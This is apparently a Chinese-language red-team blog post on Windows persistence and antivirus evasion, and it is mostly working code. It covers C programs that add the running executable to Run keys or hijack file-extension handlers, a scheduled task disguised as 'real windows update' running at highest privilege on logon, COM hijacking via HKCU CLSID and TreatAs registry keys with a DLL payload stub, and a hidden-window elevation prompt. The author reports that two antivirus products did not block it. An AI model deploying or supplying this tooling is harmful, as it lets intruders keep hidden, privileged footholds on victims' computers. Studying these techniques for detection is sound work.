前记
实战中持久化的手段常用的就是加服务、添改注册表、加计划任务、劫持等,这里探索c/c++下的自启免杀。
注册表
用户级
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
系统级(需要管理员权限)
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
详细代码
#include<stdio.h>
#include<windows.h>
int main(void)
{
HKEY hKey;
DWORD result;
//打开注册表
DWORD lRet = RegOpenKeyExA(
HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_SET_VALUE,
&hKey
);
if (lRet != ERROR_SUCCESS)
return 0;
char szModule[MAX_PATH];
GetModuleFileNameA(NULL, szModule, MAX_PATH);
lRet = RegSetValueExA(
hKey,
"coleak",
0,
REG_SZ,
(BYTE*)szModule,
strlen(szModule)
);
if (lRet == ERROR_SUCCESS)
printf("success\n");
else
{
printf("failed");
}
RegCloseKey(hKey);
return 0;
}
如果拿到了管理员权限,还可以通过后缀劫持进行维持
#include <windows.h>
#include <stdio.h>
void showErrorText(DWORD error_num);
int main()
{
HKEY hKey;
DWORD result;
char szModule[MAX_PATH];
GetModuleFileNameA(NULL, szModule, MAX_PATH);// 要替换的程序, 没写 %1 即调用时不会把双击的文件路径传给exe
//打开注册表
result = RegOpenKeyExA(
HKEY_CLASSES_ROOT, "xxx\\shell\\Open\\command", // 要打开的注册表项名称
0, // 保留参数必须填 0
KEY_SET_VALUE, // 打开权限,写入
&hKey // 打开之后的句柄
);
if (result == ERROR_SUCCESS)
{
printf("open success!n");
}
else
{
printf("open failed!n");
showErrorText(result);
system("pause");
return 0;
}
// 设置注册表的值
result = RegSetValueExA(
hKey,
"", // 设置默认值
0, // 保留参数必须填 0
REG_SZ, // 键值类型为字符串
(const unsigned char*)szModule, // 字符串首地址
sizeof(szModule) // 字符串长度
);
if (result == ERROR_SUCCESS)
{
printf("set success!n");
}
else
{
printf("set failed!n");
showErrorText(result);
}
//关闭注册表:
RegCloseKey(hKey);
// 暂停
system("pause");
return 0;
}
/*
* 根据错误码输出错误信息
*/
void showErrorText(DWORD error_num)
{
char* msg = NULL;
FormatMessageA(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_num,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
(LPSTR)&msg,
0,
NULL
);
printf("Error code %d: ", error_num);
if (msg == NULL)
printf("%sn", "Unknown error");
else
printf("%sn", msg);
}
这里测试火绒和微软的defender都是不拦截的
计划任务
触发器:定义了何时执行任务。可能是一次性的、按日程的、或者是响应特定事件的。
操作:定义了任务执行的具体操作。可能是启动应用程序、发送电子邮件、显示消息等。
条件:定义了任务执行的条件。例如,你可以配置任务仅在计算机空闲或只在特定的电源情况下执行。
设置:定义了任务的其他设置,例如任务失败时重试的次数,任务运行的最长时间等。
#include <atlbase.h>
#include <comdef.h>
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
ITaskService* m_lpITS = NULL;
ITaskFolder* m_lpRootFolder = NULL;
//初始化COM组件
void Init() {
//1.CoInitialize初始化COM组件
HRESULT hr = CoInitialize(NULL);
if (FAILED(hr)) {
MessageBox(NULL, L"初始化COM组件失败", L"Failed", MB_OK);
}
//2.CoCreateInstance创建任务服务对象
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&m_lpITS);
if (FAILED(hr)) {
MessageBox(NULL, L"创建任务服务失败", L"Failed", MB_OK);
}
//3.连接到任务服务
hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (FAILED(hr)) {
MessageBox(NULL, L"连接服务失败", L"Failed", MB_OK);
}
//4.从ITaskService对象中获取根任务Root Task Folder的指针对象ITaskFolder,这个指针指向新注册的任务
hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);
if (FAILED(hr)) {
MessageBox(NULL, L"获取指针失败", L"Failed", MB_OK);
}
}
//卸载COM组件
void UnInit() {
if (m_lpITS)
{
m_lpITS->Release();
}
if (m_lpRootFolder)
{
m_lpRootFolder->Release();
}
CoUninitialize();
}
//创建计划任务
BOOL CreateTask(const char* lpszTaskName, const char* lpszProgramPath, const char* lpszParameters, const char* lpszAuthor) {
// 创建任务定义对象来创建任务
// If the same task exists, remove it.
m_lpRootFolder->DeleteTask((BSTR)lpszTaskName,0);
ITaskDefinition* pTaskDefinition = NULL;
HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);
if (FAILED(hr))
{
return FALSE;
}
/* 设置注册信息 */
IRegistrationInfo* pRegInfo = NULL;
hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);
if (FAILED(hr))
{
return FALSE;
}
// 设置作者信息
hr = pRegInfo->put_Author(_bstr_t(lpszAuthor));
pRegInfo->Release();
/* 设置登录类型和运行权限 */
IPrincipal* pPrincipal = NULL;
hr = pTaskDefinition->get_Principal(&pPrincipal);
if (FAILED(hr))
{
return FALSE;
}
// 设置登录类型
hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
// 设置运行权限
// 最高权限
hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
pPrincipal->Release();
/* 设置其他信息 */
ITaskSettings* pSettting = NULL;
hr = pTaskDefinition->get_Settings(&pSettting);
if (FAILED(hr))
{
return FALSE;
}
// 设置其他信息
hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);
hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);
hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);
hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);
pSettting->Release();
/* 创建执行动作 */
IActionCollection* pActionCollect = NULL;
hr = pTaskDefinition->get_Actions(&pActionCollect);
if (FAILED(hr))
{
return FALSE;
}
IAction* pAction = NULL;
// 创建执行操作
hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
pActionCollect->Release();
/* 设置执行程序路径和参数 */
CComVariant variantProgramPath(NULL);
CComVariant variantParameters(NULL);
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));
if (FAILED(hr))
{
pAction->Release();
return FALSE;
}
pAction->Release();
// 设置程序路径和参数
variantProgramPath = lpszProgramPath;
variantParameters = lpszParameters;
pExecAction->put_Path(variantProgramPath.bstrVal);
pExecAction->put_Arguments(variantParameters.bstrVal);
pExecAction->Release();
/* 创建触发器,实现用户登陆自启动 */
ITriggerCollection* pTriggers = NULL;
hr = pTaskDefinition->get_Triggers(&pTriggers);
if (FAILED(hr))
{
return FALSE;
}
// 创建触发器,把触发器设置为
ITrigger* pTrigger = NULL;
hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
if (FAILED(hr))
{
return FALSE;
}
/* 注册任务计划 */
IRegisteredTask* pRegisteredTask = NULL;
CComVariant variantTaskName(NULL);
variantTaskName = lpszTaskName;
hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
pTaskDefinition,
TASK_CREATE_OR_UPDATE,
_variant_t(),
_variant_t(),
TASK_LOGON_INTERACTIVE_TOKEN,
_variant_t(""),
&pRegisteredTask);
if (FAILED(hr))
{
pTaskDefinition->Release();
return FALSE;
}
pTaskDefinition->Release();
pRegisteredTask->Release();
return TRUE;
}
//删除计划任务
BOOL DeleteTask(char* lpszTaskName)
{
if (NULL == m_lpRootFolder)
{
return FALSE;
}
CComVariant variantTaskName(NULL);
variantTaskName = lpszTaskName;
HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
if (FAILED(hr))
{
return FALSE;
}
return TRUE;
}
int main()
{
const char* lpszTaskName = "real windows update"; //任务名
const char* lpszProgramPath = "c:\\windows\\system32\\calc.exe"; //要执行的程序路径
const char* lpszParameters = "whoami"; //程序参数
const char* lpszAuthor = "coleak";
Init();
BOOL bRet = CreateTask(lpszTaskName, lpszProgramPath, lpszParameters, lpszAuthor);
if (!bRet) {
printf("Create Task Failed");
return -1;
}
UnInit();
printf("Successd");
return 0;
}
如图计划任务以最高权限运行,但是程序本身需要管理员权限才能添加成功
COM劫持
常见的手段如下
修改已有的InprocServer指向我们生成的dll
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{6F58F65F-EC0E-4ACA-99FE-FC5A1A25E4BE}\InprocServer" /d "C:\security\tmp\Dll.dll" /t REG_SZ /f
设置计划任务通过 powershell 或 vbs 脚本来调用自己注册的恶意 COM
可以结合上面的写注册表和计划任务将vbs放到自启动去拉起com的函数
利用现有任务进行劫持
Action 为 Comhandler 的计划任务调用的全是系统内置 COM,他们在注册表中的修改权限都是 trustedinstaller,其他用户都只有读取权限。(需要3389修改拥有者)
TreatAS键劫持
关键点是找到修改无需权限的节点,节点新建到HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID或者HKCU\Software\Classes\CLSID无需高权限
#定义
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
#新建恶意CLSID节点{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
#将键值指向恶意文件的路径并设置DLL线程模型
New-Item -ItemType String "$HKLM\$CLSID\InprocServer" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer" -Name "ThreadingModel" -Value "Both"
#在家庭网络配置管理器下CLSID节点新建TreatAs键并将默认值指向恶意CLSID节点
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
#调用测试
rundll32.exe -sta $HijackCLSID
#环境恢复,删除TreatAs键和恶意CLSID节点
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse
测试
1、先尝试直接写注册表免注册com
# include <windows.h>
# include <tchar.h>
#include<iostream>
using namespace std;
int main(void)
{
HKEY hKey = NULL;
char subKey[] = "SOFTWARE\\Classes\\CLSIDk\\{C5602CE6-9B79-12D3-B654-581BBAEF8DCD}";
DWORD dwOptions = REG_OPTION_NON_VOLATILE;
DWORD dwDisposition;
long resulte = RegCreateKeyExA(HKEY_CURRENT_USER, subKey, 0, NULL,
dwOptions, KEY_WRITE, NULL, &hKey, &dwDisposition);
char szModule[MAX_PATH]="C:\\security\\tmp\\ATLProject1.dll";
DWORD lRet = RegSetValueExA(
hKey,
"InprocServer",
0,
REG_SZ,
(BYTE*)szModule,
strlen(szModule)
);
if (lRet == ERROR_SUCCESS)
printf("success\n");
else
{
printf("failed");
}
RegCloseKey(hKey);
return 0;
}
调用的时候会报错如下:80040154 没有注册类(注册需要管理员权限),同时添加计划任务也需要管理员权限,非常不安全不建议这么搞
2、枚举可用于 COM 劫持的计划任务,然后在user注册表提前劫持或者通过TreatAS劫持
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler -PersistenceLocations
测试的dll必须加互斥规则
BOOL TestMutex()
{
HANDLE hMutex = CreateMutex(NULL, false, "myself");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return 0;
}
return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if(TestMutex()==0)
return TRUE;
WinExec("calc.exe",SW_SHOWNORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}return TRUE;
}
后记
注册表功能
名称 | 作用 |
---|---|
HKEY_CLASSES_ROOT | 用于存储一些文档类型、类、类的关联属性。 |
HKEY_CURRENT_CONFIG | 用户存储有关本地计算机系统的当前硬件配置文件信息。 |
HKEY_CURRENT_USER | 用于存储当前用户配置项。 |
HKEY_LOCAL_MACHINE | 用于存储当前用户物理状态。 |
HKEY_USERS | 用于存储新用户的默认配置项。 |
CLSID
CLSID是微软提出的一个概念,中文翻译为:全局唯一标识符。CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。
常见的CLSID:
{20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑
{450D8FBA-AD25-11D0-98A8-0800361B1103} 我的文档
{645FF040-5081-101B-9F08-00AA002F954E} 回收站
CLSID结构体:
typedef struct _GUID {
DWORD Data1; // 随机数
WORD Data2; // 和时间相关
WORD Data3; // 和时间相关
BYTE Data4[8]; // 和网卡MAC相关
} GUID;
typedef GUID CLSID; // 组件ID
typedef GUID IID; // 接口ID
注册表中的CLSID
CLSID Key:
Key Name | 说明 |
---|---|
LocalServer | 指定应用程序使用的自定义处理程序,即exe路径 |
InprocServer/InprocHandler | 模块、线程属性配置,即dll路径 |
COM组件寻找顺序
1.HKCU\Software\Classes\CLSID
2.HKCR\CLSID;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
理论上可行的3种劫持方案:
HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。
修改掉
LocalServer
或InprocServer
的键值。替换掉
LocalServer
或InprocServer
的键值中的文件。
注册调用编写的com
regsvr.exe -i ATLProject1.dll #这是注册
regsvr.exe /u ATLProject1.dll #这是卸载
vbs
set com=CreateObject("ATLProject1.temp")
dim num
num=com.Number(2)
msgbox num
powershell
[activator]::CreateInstance([type]::GetTypeFromCLSID("1006b886-9932-45f8-ad39-bec8c210e15e")).Number(2)
cmd
rundll32.exe -sta {CLSID}
请求管理员
VOID ManagerRun(LPCSTR exe, LPCSTR param)
{
SHELLEXECUTEINFOA ShExecInfo;
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "runas";
ShExecInfo.lpFile = exe;
ShExecInfo.lpParameters = param;
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_SHOW;
ShExecInfo.hInstApp = NULL;
BOOL ret = ShellExecuteExA(&ShExecInfo);
//杀掉当前线程
CloseHandle(ShExecInfo.hProcess);
return;
}
int main(int argc, char* argv[]) {
if (argc == 1) //初次运行,即双击EXE
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
ManagerRun(argv[0], "2");
return 1;
}
else if (argc == 2) //再次运行,即上面那个ManagerRun
{
function();
/*你的程序主代码在此*/
}
return 0;
}
reference
https://ruyueattention.github.io/2021/12/26/COM%E5%8A%AB%E6%8C%81/
https://bu1.github.io/2021/11/27/COM%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81%E5%AD%A6%E4%B9%A0%EF%BC%9A%E4%BB%8E%E5%88%9D%E8%AF%86%E5%88%B0%E7%AE%80%E5%8D%95%E5%88%A9%E7%94%A8/
https://www.4hou.com/posts/Mo51
https://lellansin.wordpress.com/2014/07/28/%E6%9C%A8%E9%A9%AC%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81%EF%BC%88%E5%85%AB%EF%BC%89%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%93%8D%E4%BD%9C/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/
https://sp4zcmd.github.io/2021/02/28/%E4%BD%BF%E7%94%A8COM%E7%BB%84%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1/